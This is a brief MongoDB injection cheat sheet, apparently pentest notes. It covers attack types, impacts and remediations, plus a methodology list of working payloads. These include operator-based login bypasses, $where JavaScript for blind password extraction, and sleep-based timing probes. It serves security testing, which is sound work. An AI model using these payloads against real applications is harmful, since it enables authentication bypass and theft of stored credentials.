

mongo DB injection

What is mongo DB injection ?

- mongoDB is nosql database
- Stores data in collections
- It uses different syntax than traditional SQL DBs and has less relations constraints
- When an attacker interferes with the mongoDB queries or operator and achieves malicious intent like auth bypass, CRUD data, DOS or execute code it is referred to as mongoDB injection

Types of mongo db injection

- Syntax Injection**
 - When attacker can inject own crafted payloads. This is similar to classic SQL injection with some syntactical and data representational differences
- Operator injection**
 - When an attacker can inject mongoDB operators an interfere with the queries
 - \$where
 - \$ne
 - \$in
 - \$regex
 - \$eq
 - \$gt
 - \$lt
 - \$gte
 - \$lte
 - \$nin

Impact

- Authentication Bypass
- Unauthorized Extraction of sensitive Data
- Unauthorized CRUD
- Denial of Service
- Code Execution

Remediations

- Input Validation and Sanitization
- Parameterized Queries
- allowlist of accepted keys

Testing Methodology

- Fuzzing With invalid characters**
 - `"" { ;$Foo} $Foo \xYZ`
 - `'%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00` — URL encoded
 - `'\'' {\r;$Foo}\n$Foo \xYZ\u0000` — JSON body
- Identification of characters**
 - `'` — `\'`
 - `"` — `\"`
 - ``` — `\``
 - `}` — `}}`
- Inject boolean based payload**
 - `' && 0 && 'x`
 - `' && 1 && 'x`
 - `' || 1==1//`
 - `'||'1'==1`
 - `' || 1==1%00`
- Injecting operators**
 - `{"$ne":"invalid"}`
 - `{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}`
 - `{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}`
 - `{"$where":"<JS here>"}`
 - `{"$where":"this.username == 'admin'"}`
 - `this.password[0]=='a'`
 - `this.password.match(/\b/)`
 - `Object.keys(this)[0].match('^.{0}a.*')`
 - `{"$where": "sleep(5000)"}`
 - `function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'`
 - `'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'`
 - `{"$regex":"^adm*"}` — `{"username":{"$regex":"^adm*"},"password":{"$ne":"xyzzdkjf"}}`

Generate Errors / Anamolies in response

Modify the characters accordingly and balance the query

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